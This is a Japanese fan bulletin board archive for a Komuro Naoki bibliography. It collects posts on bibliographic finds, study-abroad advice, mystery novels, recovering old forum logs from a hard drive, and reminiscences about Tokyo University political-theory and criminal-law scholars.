ところがコロラド大学のようなところだと、教授たちも学生のレベルを十分に承知しているので、あまり厳しいことは要求しません。学生たちも自分たちのレベルをわきまえているので、学生間で足を引っ張り合ったりと言う事はありません。逆に、皆非常に仲がよく、お互い足りない能力をかばいあいながら、一緒に勉強しています。つまり、そこでの学生は、機能集団でなく、共同体になっています。それに学生のレベルがあまり高くないことでもあり、英語に不自由でも十分に太刀打ちできるでしょう。さらに、最初の学期で篩い分けるなどと言う事もしませんし。それに村上さんのように、東大を出ている人が出願すると、大歓迎されるでしょうしね。最初の一年間は、クラスを教えなくても給料をくれるでしょうし、教授たちは親切に面倒を見てくれるでしょう。英語のハンディがあってもやって行けるクラスはどれか真剣に考えてくれたり、寮やアパートの手配もてつだってくれたり。これが一流大学でしたら、こう親切には面倒をみてくれません。いくら東大をでているといっても、クラスメートたちはハーバードやプリンストン、なかにはケンブリッジやオックスフォードなんてのもいます。東大をでていても、Bをとれば、はいそれまでよ、と人生が終わってしまいます。機能集団の冷たさを味わうときです。
それに、コロラド大学は一流大学ではありませんが、アメリカではどの大学にも、全米に通用する教授が必ずいますしね。これらの有力教授に認められれば、コロラド大学出身でもどこかの大学に就職できるでしょうし。現にUCLAにはコロラド大学出身の、以下のような人がいます。
Mohan Penubarti, Assistant Professor
Ph.D. University of Colorado
(310) 825-4855
University of California, Los Angeles
Department of Political Science
3284 Bunche Hall
Box 951472
Los Angeles, CA 90095-1472
mohan@ucla.eduですから、無理に一流大学に行かなくても、コロラド大学で優秀な成績を修めれば、大学教授としての道が開かれると言う事です。それに、コロラド大学で修士を取った後、一流大学に転校すると言う手もありますし。私の知人でネブラスカ大学で修士を取ったあと、プリンストンに転校した人物もいますし。
まあ、こういう事です。村上さんがコロラドにくれば、Larryに頼んでルームメイトになってもらうと言う手もありますが。彼は車を持っているので、非常に便利だと思います。それにVinceの友人のEricも、コロラドに住んでいますので、留学生活の最初から孤独にならずにすみます。もっともコロラド大学に行くと、佐々木教授に馬鹿にされそうですが。
それではまた。
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[1031] こんばんは! 投稿者:村上 投稿日:2000年12月28日 (木) 23時45分
☆FITOMAROさん、おひさしゅうございます!
お元気でしたか?
わたくしの方こそ、お世話になりました。
小室ファミリーズに暖かく迎えていただき、感謝の念はつきません。
今後とも宜しくお願いします。
☆smさん、こんばんは!
横山さん、泡坂さんですか…。
初めて聞くお名前ばかりです。
短編ならスグ読めそうなので、見つけたら読みたいです。
それにしても…おそろしく読書の幅が広いですね…。
smさんは司書さんですか?書店勤務の方かしら?
今年一番の謎は、smさんが一体何をなさっているかたなのか、
ということです。
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[1030] こんばんは 投稿者:sm 投稿日:2000年12月28日 (木) 20時30分
岩波の本は2000円くらいの普通の本で
タイトルは「ドンイシドロパロディー6つの難事件」でした。
ボルヘスらしいのが2つほど有ったはずです。
今年の短編では横山さんの「動機」が良かったですよ。
泡坂さんの「奇術探偵全集」は当然別格ですが。
「薔薇の名前」を気に入っていた友人、何人かに薦めてみたのですが、
もっと長くすれば・ラストが納得出来ない・娯楽性が足りない、
という感想が多くて、あまり喜ばれなかったです。
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[1029] 今年はお世話になりました。 投稿者:FITOMARO 投稿日:2000年12月28日 (木) 19時43分
こんばんは、村上さん。
今年はいろいろお世話になりました。来年もよろしくお願いします。ふはははは(^^)
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[1028] 小室直樹文献目録データ数の総計 投稿者:村上 投稿日:2000年12月28日 (木) 17時24分
平成12年12月28日現在、以下のようになっております。
1.1958年-1980年 データ数:089
2.1981年-1985年 データ数:140
3.1986年-1990年 データ数:072
4.1991年-1995年 データ数:100
5.1996年-2000年 データ数:072計 473データ!!
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[1027] 文献目録改訂作業終了 投稿者:村上 投稿日:2000年12月28日 (木) 07時08分
小野寺さん情報を文献目録の方に載せました!
関連文献目録の方はまだですが。
小野寺さん、ありがとうございました。
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[1026] こんばんは 投稿者:村上 投稿日:2000年12月28日 (木) 01時50分
☆こんばんは、小野寺さん
今回はいろいろありがとうございました。
わたしも『新世紀歓談』、いかにも小室直樹博士が出そうで、
いつもチェックしていたのですが、
ゲストは加藤寛やら田久保忠衛やらで、
最近では見るのをやめてしまいました。
☆こんばんは、smさん
ほぉー、そうですか、ひろさちやは銀行不信なんですか。
「箪笥預金」としって、一瞬、脱税か?!とも思いましたが、
そういうわけだったのですか。『火蛾』、よみました!!
ものすごく、おもしろかったです。
わたしの読んできた推理小説(?)で、こういう展開は初めてでした。
まむし直さんにもお礼しないと。岩波の推理小説は、単行本サイズですか?
短編集というのに惹かれます。
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[1025] こんばんは 投稿者:sm 投稿日:2000年12月27日 (水) 23時50分
佐伯さんとの対談書を読めば、彼の銀行不信の凄さが分かりますよ。
岩波の本はボルヘスとカサーレスのコンビが架空のペンネームで
書いた、「 」あ、タイトルを忘れてしまいました。
短編集で、けっこう面白い話があったんですが。
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[1024] Re[1022]: 小野寺さん情報その7 投稿者:小野寺 投稿日:2000年12月27日 (水) 13時12分
>・整理番号1998002『日本人のための資本主義原論』のカセットテープ版。少し質問などがカットされている。
ビデオは124分ですが、カセットは90分です。>・1996年5月5日。『新世紀歓談』(テレビ東京)
この日は祝日で、目が覚めたのが10時40分くらい、なにげなく新聞をみると午前10時から10時半までこの番組をやっていたことがわかりがっかりしました。お相手は渡辺昇一氏。せっかくの祝日が憂鬱な日になりました。
ある程度マークしていた番組なだけにくやしさがこみあげてきました。その後は出演されていないようですね。>・数年前民放ラジオ(おそらく7〜8年前。文化放送、野村クニマルとナースイデ出演。)の夕方の番組に数ヶ月出演。
この番組も車のラジオをつけたらやっていて、最終日の最後の数分間でした。
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[1023] だまされた! 投稿者:村上 投稿日:2000年12月27日 (水) 05時10分
増原良彦=ひろさちや
ということに、今、初めて気がつきました。
『とっさの詭弁術』という本を見ていたら、
後ろになんだかちょっとにやけたヤクザ風の写真。「え?これは『ひろさちや』じゃないか!?」
と思ったら、同一人物だそうで…。「なーんだ、山本七平と『色即是空の研究』を書いていたのは、
"ひろさちや"だったんだ!」
となんか納得してしまった次第です。そういえば、1億7千万円盗まれたと報道されてましたが…。
宗教家ではなく、宗教研究者ですから、
やっぱりお金に執着心はあるんでしょうね…。それから、
この記事を読んで、ひろさちや宅って、
実はわたしの部屋から、自転車で5分の所だということも判明しました。
だからどうした、といわれてもどうということはないですが。
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[1022] 小野寺さん情報その7 投稿者:村上 投稿日:2000年12月27日 (水) 02時13分
小野寺さんからいただいた以下の情報につき、
もし、ご存知の方がいらっしゃいましたら、
入手方法など教えていただけないでしょうか?
どうぞ宜しくお願いします。
●おそらくは未刊行だと思われる書籍
・『比較政治学の原理』
・『比較政治学の社会学的基礎』
・『規範社会学の行動論的基礎』
・『社会科学におけるコミュニケーションとシンボル』
・『社会行動と構造機能分析』
・『Mathematical methods and problems in social sciences�機↓供�
・『社会行動論』●確実に存在するが、(村上が)未入手な記事
・整理番号1975010"Structural Functional Analysis as a Theoretical Method for the Sociology of Law"
・"on a fundamental assumption of the general equilibrum theory"『a discussion paper』1960,p25
・1981年の週刊現代のインタビューに、どこかの新聞にルンペン学者走るという小説が連載されたことと、国会で彼の説がとりあげられたことに関する記事
・『韓国の悲劇』と『韓国の崩壊』の韓国語版、入手方法。
・整理番号1998002『日本人のための資本主義原論』のカセットテープ版。少し質問などがカットされている。小野寺さんからの情報ではなく浅田さんからの情報
・整理番号1978003、1979006の新聞連載記事。読売新聞の関西・大阪版だと思われる。●確実に存在するが、一般には未発表で入手不可能と思われる論文
・論文『権力の一般理論』●おそらく存在するが、未入手な論文
・『International conference on the sociology of law』での論文。
・"Sociological theories in contemporary Japan"『a Review Article』●存在するかさえ未確認な情報
・82年のインタビューで川島武宜教授と法社会学原論を書くとか、大塚久雄教授の業績の英訳をやるとか社会科学統合の理論をかくとかいっていますが、その後。●テレビ・ラジオの出演記録
・1982年10月26日。テレビ番組『トゥナイト』田原総一郎が彼のアパートを取材。
・1996年5月5日。『新世紀歓談』(テレビ東京)
・数年前民放ラジオ(おそらく7〜8年前。文化放送、野村クニマルとナースイデ出演。)の夕方の番組に数ヶ月出演。小野寺さん情報ではないですが…
・1983年1月26日。テレビ東京「こんにちは2時」で田中角栄擁護論を展開。「検察官どもを、送電線に逆さづりにしろ」発言。
・1989年10月26日。『ダダダダッ談志ダ!4』 ゲストとして。
・1990年1月25日。『ダダダダッ談志ダ!16』 ゲストとして。
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[1021] レスと小野寺さん情報その6 投稿者:村上 投稿日:2000年12月27日 (水) 01時45分
◎一息さん、こんばんは
日本に帰られる前に中文書籍をご覧になるというのが面白いですね。
うーん、さすが、そちらはは中国語の書籍が豊富なようですね。>なんと日本人が書いた太極拳の本の中文翻訳版まであるのですよ。
思わず笑ってしまいました。へー、そうですか!ううぅむ・・・。
一息さん、常盤貴子のファンなんですね(笑)。
そういえば、最近、ドラマで見かけませんが
お元気なんでしょうか?
わたしもマンダムのCMにでてるときの彼女の雰囲気がスキです。
◎smさん、こんばんはそうなんですか。
ちょうど『火蛾』読み始めたところです。
“スーフィー”が何なのか、わかりました!
それにしても、お若いですね、作者の古泉さん。
「芦辺拓」という人も初耳でした。
岩波が推理小説を出したこと、しりませんでした。
いやー、驚きました。
◎小野寺さん、こんばんはわざわざありがとうございます。
では、1976101を1969102とします。
・1969102 1976.76『社会学評論』第41回日本社会学会大会テーマ部会報告(上) p89
有斐閣新書の方もそのようにいたします。さらに小野寺さんから一点情報をいただきましたのでご報告いたします。
○関連文献目録へ収載予定
・1992105 1992.3(平成4)Voice特別増刊号 山本七平追悼記念号 p92,224,226,227,229,230さてさて、本命の小室直樹文献目録への新規データの追加です。
これら3点も小野寺さんからいただいた情報です。
貴重な情報、ありがとうございました!○小室直樹文献目録への収載予定
��1968006 Social Change and Voting Behavior in Postwar Japan
『The Developing Economies』The Institute of Asian Economic Affairs
1968年12月号、Vol.4 510-543頁
��1989012 米国の"日本叩き"の最大の防波堤中ソ和解を日本は徹底支援せよ!!
『SPA!』扶桑社
1989年5月31日号、18-19頁
��1990026 日独米3大帝国主義国が21世紀のソ連を蹂躙する
『New Sight Mook Theory of the international relations series vol-1』
1990年8月1日発行、193-198頁(1992018についての備忘:『SEIKAI』の出版社は政界出版社)
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[1020] Re[1017]: 小野寺さん情報その5 投稿者:小野寺 投稿日:2000年12月26日 (火) 20時06分>・1976101 1976.76『社会学評論』第41回日本社会学会大会テーマ部会報告(上) p89(年次のつじつまがあわないのですが、もしかしたら68年?)
これは1969年の誤りです。>・1979102 1979.4.30『社会学のあゆみ』有斐閣親書 新睦人ほか p180
これは有斐閣新書の誤りです。
すみませんでした。
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[1019] こんにちは 投稿者:sm 投稿日:2000年12月26日 (火) 17時03分
古泉さんは、新人の中では一番です。
読んでいて、楽しくは無いですが、面白いです。
ミステリー界全体では芦辺拓さんが一番活躍したと思います。
幻の古典推理小説を翻訳出版した岩波も頑張りました。
岩波までが推理小説を、、、。本当に時代が変わったんですね。
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[1018] Untitled 投稿者:一息 投稿日:2000年12月26日 (火) 11時01分
村上さん こんにちは
もうすぐ日本に帰るので、本屋に中国の本を見に行きました。
普段は中文書籍コーナーなど足を踏み入れることはないのですが、
まあ記念に何か買ってこうと思いまして。
あまり大した本は見つかりませんでしたが、
太極拳の本を買いました。
私中国語は全然できないのですが..それにしても、中文書籍棚を眺めると、
日本の翻訳本が多いのには驚きました。
漫画、小説、芸能音楽、専門書ほとんど日本の本の翻訳版です。
常盤貴子の本もありました。(←ファンなのです!!)
なんと日本人が書いた太極拳の本の中文翻訳版まであるのですよ。
思わず笑ってしまいました。
こういうのってあるのですね。「現代中国語は日本語からできた」と「妻も敵なり」岡田英弘著
に書いてありましたが納得しましたね。
日本の出版文化ってすごい。 それに芸能界も..。シナ人て日本人の一種じゃないかしらん..。
ではでは
本日(もう「昨日」ですね)、荷物の整理をしておりましたら古いHDD(ハードディスクドライブ)が出てきました。
ずっと前からのこの掲示板をごらんの方は覚えておいでかもしれませんが(過去ログ[1688]参照)、これは2001年の夏に壊れたデスクトップPCのHDDなんです。
そのPCは秋葉原の激安ショップで購入したもので、商品名は「白龍」。Vシネマに出てきそうな名前です(笑)。
たぶん、あのPCショップはオウム系だったのでしょう。時々、テレビのニュースで名前を聞きましたから。それはいいとして、わたし、ついうっかりしていてそのPCのハードディスクのバックアップをとるのを忘れていたのです。そのため、当時の小室直樹文献目録のデータも、心血を注いで集めた人体画像も消えてしまったのです。
んで、その後、PCの箱やマザーボード類は捨ててしまったのですが、HDDだけはどうしても処分できませんでした。結局、実家に送り返していたのです。あたかも近未来に治療法が見つかることを信じて自分の肉体を冷凍保存するお金持ちの病人のように…。
そのHDDが昨日見つかったものですから、わたしは自宅の古いPC(Windows95のNEC・98シリーズ。ちなみにDos/Vではない)にそのHDDを接続することを思いつきました。
ずいぶんと長い間ねかせていたから、
フリーズしたときにかました愛の蹴りの痛みも忘れてくれて、
ニッコリ笑って動いてくれるのではないかと思い…。それで接続してみた結果は……
うんともすんともいってくれませんでした(涙)。
しかし、思わぬ発見がありました。
その後、その古い98マシンのハードディスクのキャッシュ(そのPCでインターネットを閲覧した際その画面が保存されるところ)を見てみたんですが、そこでこの掲示板の過去ログで、システムのバグのため失われてしまった部分([937]〜[1043])の一部([1018]〜[1037])を発見したのです。ちょうどこの頃、この古いPCでインターネットに接続していたのですね。小野寺さん、残念ながら小野寺さん初登場のログは見つかりませんでした。
さて、そこまではいいのですが、問題はこのデータをどう今のPCに移転するかです。新しいノートPCには内蔵無線LANは有っても、古いPCにLANボードはない。
古いPCにはフロッピーディスクドライブは有っても、新しいPCにはない。はた、と困ってしまいました。
結局、両者をインターネットに接続してinterQのサーバーを中継地点として移転するのが一番お金がと手間がかからないと考えました。
すなわち、古いPCを外付けモデムでインターネットに接続(ダイヤルアップ)、
→古いPCにFFFTP(PCとサーバーをつなぐソフト)をダウンロード&インストール、
→古いPCからFFFTPを使ってインターQのサーバーに掲示板の過去ログをアップロード、
→新しいPCをネットに接続(ADSL)して、該データをダウンロードする。そして4時間かかってやっとできました。
一番時間がかかったのは、古いPCでのネット接続でした。
うちの電話線がトーン(ピッポッパという音で接続するやつ・プッシュ回線)ではなく、パルス(ジーッガタガタ、ジーッガタガタで接続するやつ・ダイヤル回線)だったことに何時間も気がつかなかったため、モデムのダイヤル方法の設定がトーンのまま「おかしいなぁ。どうして通じないんだ…。」と考え込みました。当初、寝る前にチャチャッとやってしまうつもりが、
結局、朝までかかってしまいした(笑)。そのファイルはこちら↓です。
(あとで、この掲示板にそのまま貼り付けます)。あぁ、こわれたHDDには全部の過去ログが残っているはずなんですが…。
ま、治療方法が確立するまで、またダンボールの中で寝かせて待つことにします。追伸。
須藤さん、もし可能でしたら、過去ログの一部にはめ込んでおいていただけないでしょうか。よろしくお願いします。ご面倒でしたらかまいません。
一度は福田有広先生の思い出について書こうと思いましたが、この小室直樹文献目録掲示板をごらんの閲覧者は、福田有広先生について関心があるとも思えません。
小室直樹博士がしばしば引用される『政治学史』(東京大学出版会)の著者、福田歓一先生についてならばともかく。
(わたし一度、福田有広先生ご自身に「福田歓一先生と何か関係がおありなんですか?」と聞いたことがありましたが、「いいえ。」というお返事でした。それでわたしは「あぁ、そうですか。」と言って話は終わり。何とも発展性のない質問をしてしまいました(笑)。)そうであるとするならばやはりこの掲示板でも場違いなので、やめておきます。
司法試験の勉強の合間に適当に書ける内容でもないですし。
ま、いずれしかる場所でしかる時期に。そこで、小山さんが書かれた
「ネオ・ハリントニアン(the neo-Harringtonians)」
についてちょっとだけ。まず、福田有広先生の業績についてですが、そのひとつは、ジェイムズ・ハリントン(1611〜1677)を政治思想史上に高く位置づけしなおした点にあると私は思います。
すなわち、17世紀のイングランドでは、従来のイングランドに存在していた政治学では内乱を収束できず手詰まり状況に立ち至った中、いかに内乱を収束すべきか、その理論的・思想的思想を模索するいくつかの政治学が発展しました。それを、福田先生は「『内乱と戦う』政治学」として講義で説かれておられました。
そのひとつは政治学以外の思想的影響を受けて、政治学の伝統から断絶してゼロから政治理論を作り上げたホッブス。
他のひとつは、外来の政治学を輸入してきた人々。その中にハリントンも位置づけられます(この点は福田独自説ではない)。
具体的にいうと、ハリントンはその主著『オセアナ共和国』序文で、「古代の知恵」(ancient prudence)と「現代の知恵」(modern prudence)の二つの政治思想上の流れの存在を説き、「現代の知恵」では立ち行かなくなった以上、「古代の知恵」に学べと説いています。
福田有広先生の業績のひとつは、そのハリントンの政治学を中心に研究され、紀元前2世紀のローマの歴史家ポリビウスの混合政体論がマキアヴェリを経由してハリントンに伝播し、しかもハリントンにおいては土地所有論(土地所有の配分の均衡)と混合政体論(政府内諸機関の均衡)が不可分に結びついて展開されたことを指摘した点にあると私は考えています。もともと、政治学史研究において、イングランドの内乱期に外来の政治学の受容が有った点を指摘したのは、ジョン・ポーコック(John Pocock)です。
しかし、ポーコックが「マキアヴェリ的政治思考(the Machiavellian Moment)」として個人の「徳」という点に着目して、アリストテレス(古代ギリシア)→マキアヴェリ(フィレンツェ)→ハリントン(イングランド)→フェデラリスト(アメリカ)へ、という政治思想の継続性を主張したのに対し、福田先生は個人の「徳」などという個人の内面的な能力ではなく、もっと外面的な制度の問題、すなわち政府機構論をどう構成するかという混合政体論の発展的受容という、ポリビウス(→中継地点としてのマキアヴェリ)→ハリントンという政治学上の継続性を主張したのだと私は理解しています。余談になりますが、ハリントンがマキアヴェリを高く評価しているという点では、ハリントンを研究された福田先生はやはり佐々木毅先生(マキアヴェリ研究で有名)のお弟子さんだなぁ、という気がします。
また、福田有広助教授は十年後には必ず教授になる方でしたが、先生がもし生きていらっしゃった場合に助手となった人の研究テーマを考えると面白いです。まぁ、少なくともモンテスキュー(モンテスキューはハリントンのことを「ビザンチンがあるのにカルケドンにいっちゃった」と評価した。平たく言えば「ハリントンはアホ」と言った)をメインに研究したい人は福田先生の弟子になろうとは思わないだろうなぁ、と思ったり。とまぁ、福田先生は Pocock とは異なる視点からハリントンを再評価しているわけですが、当然 Pocock の仕事を高く評価し、内乱期はともかく、王政復古期の議論については Pocock の議論をそのまま受け継いでおられます。
そこで、「ネオ・ハリントニアン」に戻るわけですが、これは、その Pocock による造語で、王政復古期にハリントンの議論を批判的に継承した人々のことです。
イングランドの内乱が収束して、王政復古期になると、内乱自体と戦うのではなく、圧制と戦うことがテーマとなります。
そこで、ハリントンの議論に学びつつも、結論においては皮肉にもハリントンが批判したはずのイングランド古来の国制を擁護することになった人々のことを、「ネオ・ハリントニアン」と命名しました。王位空白期にハリントンのプランをそのまま実践しようとした「ハリントニアン」と区別して、「ネオ」をつけたわけです。
彼らは、土地所有者に着目する点でハリントンの議論を継承していますが、ハリントンがイングランドの古来の国制における主要な土地所有者である貴族は国制を不安定にした元凶であるとしたのに対し、そのような土地所有貴族こそ国王の圧制に対抗するために必要な存在であるとしたのです。端的に言えば、ハリントンの目的はアナーキーの解決であり、ネオ・ハリントニアンの目的はティラニーの防止であり、その社会的背景がかかる相違を生じさせたといえるのですね。
おぉっと、
>「ネオ・ハリントニアン」
>についてちょっとだけ。と書いておきながら、久々にPCに向かうと調子にのってずいぶん長くなりました。
わたし最近、政治学史関係についてまったく触れていないので、間違いもあるかと思いますがご寛恕ください。今後は福田先生のご冥福を祈りつつ、受験勉強に集中したいと思います。ではでは。
小山さん>今の刑法講座の担当教官は山口厚(やまぐち あつし)先生・西田典之(にしだ のりゆき)先生と佐伯仁志(さえき ひとし、1958年 -)先生です。
そうですか。
昔の学生票を取り出して調べてみたところ、
私は刑法第1部、第2部とも山口先生でした。
西田先生の講義はぜひ聴きたかったですね。民法は米倉先生、平井先生という大御所、
そして若手の大村先生でした。
大村先生は、当時、授業に水筒を持ってこられていました。
講義の内容よりもそんなことばかり記憶に残っています。大村先生は最近司法試験考査委員になられましたし、
後々司法試験を受けるとわかっていたら、
耳の穴をかっぽじって聴講していたのですが…。当時、私は空手に情熱を燃やして、
講義は「シケプリ」で済ませていました。
もったいない、もったいない。>佐伯氏は、一応、平野龍一学派です。しかし、山口氏・西田氏とは違つて、あまり露骨な結果無価値論ではないやうです。曰く「平野先生は、売りコトバに買コトバで、あんなことを言つたのだよ。論争がヒートアップすると、ああなるんだ」と。でも、「じやあ、君は中間派なのか」と言はれると「いや。結果無価値論です。」とは答へるらしいです。
ははは、その逸話は面白いですね。
>ああ、あと、福田有広(ふくだ ありひろ)氏が、去年(2003年)、お亡くなりになりました。急性心不全。享年39。合掌。
福田氏の「ネオ ハリントニアン」のハナシは、面白かつた。非常に残念である。
福田有広 東京大学法学部助教授わたしが福田有広先生の急逝をネットで知ったのは、
早稲田大学のそばに引っ越してしばらくしてからのことです。
ちょっと信じられませんでした。
福田先生とはもう話すことができない、ということがいまだに信じられません。私は1995年に福田先生の初めての「政治学史」講義を聴講し、
96年には福田先生のゼミでフィルマー『パトリアーカ』を読みました。
ゼミの仲間とともにご自宅に呼んでいただいて手料理を食べさせていただいたこともありました。
また、私の大学院進学について、福田先生にもいろいろ相談に乗ってもらいましたから、
福田先生にについて書きたいことは山ほどあります。誰かに福田先生について伝えたい気持ちが抑えられなくなり、一度ある掲示板に投稿したことがあったのですが、場違いな気がしてすぐ削除してしまいました。
今回、小山さんが福田先生について書かれたのも何かの導きかもしれませんので、「小室直樹文献目録」掲示板ではありますが、また稿を改めて書きたいと思います。
日本よりもイギリスで主著を出版されたという経歴からわかるように、
日本の今後の政治学史・政治思想史学界を担うはずの学者であっただけに、残念です。
あの若さで逝くなんて、先生、きっと無念だったろうなぁ、もっと研究したかったろうなぁ…。
以下の3つの文章を読めば、福田先生のお人柄と業績についてお分かりになられるかもしれません。若き良き友に
─ 福田有広会員をおくる
佐々木 武 (東京医科歯科大学)
『政治思想学会会報』第17号 2003年12月 より福田有広さん
ウェッブサイト「Liberty and Peace」by 太田義器 より
小山 みつね です。▼村上様へ
>平野先生ご自身が、師匠の団藤先生を根本的に批判されたことに顧みられて、「わが直弟子には絶対そうさせぬぞ」と、
先手を打った批判封じだったりして(笑)。これは分かりやすい解説です。
今の刑法講座の担当教官は山口厚(やまぐち あつし)先生・西田典之(にしだ のりゆき)先生と佐伯仁志(さえき ひとし、1958年 -)先生です。
佐伯氏は、一応、平野龍一学派です。しかし、山口氏・西田氏とは違つて、あまり露骨な結果無価値論ではないやうです。曰く「平野先生は、売りコトバに買コトバで、あんなことを言つたのだよ。論争がヒートアップすると、ああなるんだ」と。でも、「じやあ、君は中間派なのか」と言はれると「いや。結果無価値論です。」とは答へるらしいです。
たしかに、佐伯氏だけは、少し色が違ひますね。
佐伯仁志(さえき ひとし、1958年 -)氏
http://www.j.u-tokyo.ac.jp/about/professors/profile/saeki_h.htmlああ、あと、福田有広(ふくだ ありひろ)氏が、去年(2003年)、お亡くなりになりました。急性心不全。享年39。合掌。
福田氏の「ネオ ハリントニアン」のハナシは、面白かつた。非常に残念である。
副島隆彦先生へ
これは、もったいない。
副島隆彦先生、わざわざありがとうございます。前に書き込んでいただいたのは、画像貼り付けの練習のときです。あの頃は本当に親しくしていただき、嬉しくて舞い上がりました。さて、ここ数年の音信不通ですが、まことに申し訳ありません。勉強に集中するために、あえてそうしておりました。副島先生の暴き系の文章は、幻想とともにやる気まで削いでしまうことがあるので、苦行「副島先生断(だ)ち」を「女断ち」とともに己に課してきたのです(酒断ちは最近挫折しました)。
「合格したら、ご挨拶にうかがおう」とずっと思っておりますが、なっかなか合格しないので音信不通のまま二年がすぎました。ご無礼、おゆるしください。ありがたいご支援のお話は、FITOMAROさんからこの掲示板で教えてもらいましたが、副島系サイトに一切貢献していない今の私ではいただけません。しかし、そこまで私のことを気にかけてくださるお気持ちだけで、十分胸が一杯になりました。
わたしはさほど若いわけではありませんが、「若い人間を支援して育てる」という副島先生のお言葉が嘘ではなく、先生は率先垂範、言行一致の稀有なお方であります。私は、今回一旦田舎に戻りましたが、攻撃のための退却です。結果、成功するか否かはわかりませんが、精一杯のことはして後悔のないよう生きていきたいと思います。
お会いできます日が来ることを願いつつ、自分なりに生きていきます。マスコミが加担しての、うむをいわさぬ「空気(ニューマ)」(山本七平・小室直樹)の支配が暴威をふるう今の日本には、鉄砲水の勢いで「水をさす」副島先生が必要です。どうか日本のためにも、お体を大切にしてください。
携帯から書き込みましたので、乱文失礼します。小室直樹文献目録・管理人 村上
ここの管理人の村上君へ副島隆彦です。 君の従来のメール宛てに過去、2年ぐらいの間に、何度か、メールをしましたが返事がないのでどうしているだろうか、
と思ってました。 久しぶりにここの掲示板に来てみましたら、君が
元気で書いていることを知りました。 すこしは支援してあげようと
思っていたのですが、連絡不通で今に至りました。
君なりに生きて下さい。 気が向いたら私に連絡してきて下さい。
私は、このまましぶとく、残りの人生を生き抜きます。それだけのことです。副島隆彦拝
ランチタイムさん、これは好意的な小室直樹評ですね。たしかに、これは嬉しくなります。情報ありがとうございます。
まちがいなく関連文献目録に掲載されるでしょうね。
もしかしてご存知かもしれませんが、交換理論を研究しているの久慈利
武氏の著書「現代の交換理論」(新泉社)p91に小室氏に関する記述が
ありました。『日本の交換理論定着に一役を買ったのが日本の機能主義者であったと
いうのも皮肉である。一般の学者からは、機能主義の分家として交換理
論が認知されたのであって、注目される業績を出したからいうのではな
いのである。日本の交換理論家はこれを自戒としなければならない。そ
の意味で日本に交換理論が浸透した最大の功労者は前記の紹介者の功と
いうよりは、パーソンズの功であり、一時日本の機能主義研究をリード
し、吉田、富永、佐藤勉の理論展開に大いなる刺激を与えた小室直樹で
あると私はみたい。』以上です。こうした評価もあるのは、当時の状況をよく知らないファンとして嬉しいことと思いました。
おーーっ、これは超久しぶりです。もちろん覚えておりまするよ。
あれは『危機の構造』でしたな。HP、携帯からは見れないのが残念。きっとセンスの良さがキラリと光る出来栄えなんだろうなぁ。アレに匹敵するキャラは登場するのだろうか(笑)?
自宅サーバーになったのかな?
思い出せばキリがない、懐かしいあの時間、どうもありがとう。
あたしゃ、あいかわらずの早口でタヌキと戯れながらがんばります。
とはいっても、覚えてらっしゃらないかもしれませんね(^^;)
久しぶりにホームページを拝見させて頂きましたら、パワーアップしていてビックリしました。前に頂いた本は今でも大切にしております。
試験頑張って下さい。
mp3プレーヤーで玉置浩二なんか聴いてるからですかね、、、。同じコージでも玉置浩二じゃなくって、鶴田浩二の軍歌、昭和維新の歌なんかでも入れてくれば良かったかナ。
♪汨羅のふちに波騒ぎ〜♪って。
しかし、まぁ、あれも悲愴な感じですしなぁ、、、そういえば、小室直樹博士は、
「戦後、右翼は駄目になったが、いい曲(軍歌のこと)を流すから許す!」
と酔っ払いながら叫ばれたとか(笑)。追伸。Maysonさん、温かいお言葉ありがとうございます。
やべっ、もしかして書く場所まちがえた?
携帯でうちなおすのも面倒ですので、このまま投稿しませう、おほほほほ。
村上さんは、充分、目的合理性を有していますよ。実家に帰って、勉学に励む。
この選択は、誰にでも出来るものではないですよ。
目的(司法試験合格)のためには、これしかないではないですか。
では、道中、お気をつけて。
>平野先生は、犯罪社会学というのをやっておられたんですか。川島先生といっしょに法社会学を論じてたんですね。ほぉー、これは面白いですね。
学問的関心のベクトルが同じ向きだったということですなぁ。>私は学生時代平野さんの「刑法概説」を刑法の授業でテキストとして使いました。
へぇー、そうですか。
私は大学では、小柄でありながらパワフルな口調の山口厚先生に刑法を教わったんですが、教科書は何を使ったのか忘れました(笑)。そうそう、たしか山口先生は平野龍一先生の娘婿だったような…。
同じく東大法学部の西田典之先生も平野龍一先生の娘婿だったような…。
いや、これは私の記憶違いだったかもしれません。
違ったかなぁ、どうだったかなぁ…。ただ、もし私の記憶が正しいとしたら、
直弟子のお二人に娘さんお二人を嫁に出されるって、
なんだか「東大系結果無価値論的刑法学血縁共同体」ですね。
いや、「結果無価値論的東大系刑法学血縁共同体」かしらん。でも、それって、
平野先生ご自身が、師匠の団藤先生を根本的に批判されたことに顧みられて、
「わが直弟子には絶対そうさせぬぞ」と、
先手を打った批判封じだったりして(笑)。ま、実際のところは単に将来の見込みのある優秀なお二人にお嬢様を引き合わせられたということだと思いますが。
「一方、平野先生からお嬢様を紹介されず、
その上、あろうことか都立大島に島流しにされた前田雅英先生は、
切歯扼腕「なにクソ!」と、天を仰いで一人捲土重来を誓っていると、
「ニャァ〜」という鳴き声が足元で響く。
天から地へと目を転ずると、そこには前田先生を優しく見上げる猫にゃん。![]()
「あぁ、お前だけは私を見捨てないのだね…」とハラリと涙を流し、
岩窟王エドモン・ダンテスのごとく学問的研鑽に奮闘努力すること苦節20年、
特殊結果無価値論的前田説を構築され、
司法試験受験生がこぞって手本とする見事な基本書を書かれたのでありました。」なーんて、オチがついたりして(笑)。
あ、これ、私の勝手な作り話ですからね。冗談というか、ウソ話ですよ。
「島流し」ってのも旧帝大系卒の学者の心理を誇張しまくった表現ですから、
都立大の方はどうかお気を悪く為されないようにお願いします。
都立には、宮台先生もおられますし、間違いなく立派な大学です。
>>小野寺さんの未収録文献目録に掲載されることを期待したいと思います。>掲載しました。図書館にもリクエストしました。
さっそくすみません。
>「法社会学講座3」に名を連ねている平野竜一というのは龍一?と同じ方?
げっ、私の「法社会学講座」、既に実家に発送してしまっておりまして、確認とれません。
でも、同じ方ですよ、きっと。さて、先ほど検索しましたら、平野『刑事訴訟法』についてのこんな書評がみつかりました。
当時は平野龍一先生、井上正治先生(「九大井上事件」のアノ井上先生)など、刑事系の方は実体法と手続法の両方の先生だったんですよね。
「法社会学講座3」に名を連ねている平野竜一というのは龍一?と同じ方?
> それにしても、川島先生以外の法律学(法解釈学)の本で“structural-functional”という言葉を目にするとは思いませんでした。平野龍一先生は、アメリカ留学されたんでしたっけ?平野先生は、犯罪社会学というのをやっておられたんですか。川島先生といっしょに法社会学を論じてたんですね。
http://wwwsoc.nii.ac.jp/hosha/annai/tabidati/p11.htm
http://wwwsoc.nii.ac.jp/hosha/annai/tabidati/taikai1.htm私は学生時代平野さんの「刑法概説」を刑法の授業でテキストとして使いました。
